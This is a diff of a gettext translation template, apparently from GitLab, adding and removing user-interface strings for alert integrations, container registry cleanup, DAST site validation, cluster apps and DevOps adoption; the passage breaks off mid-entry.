@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
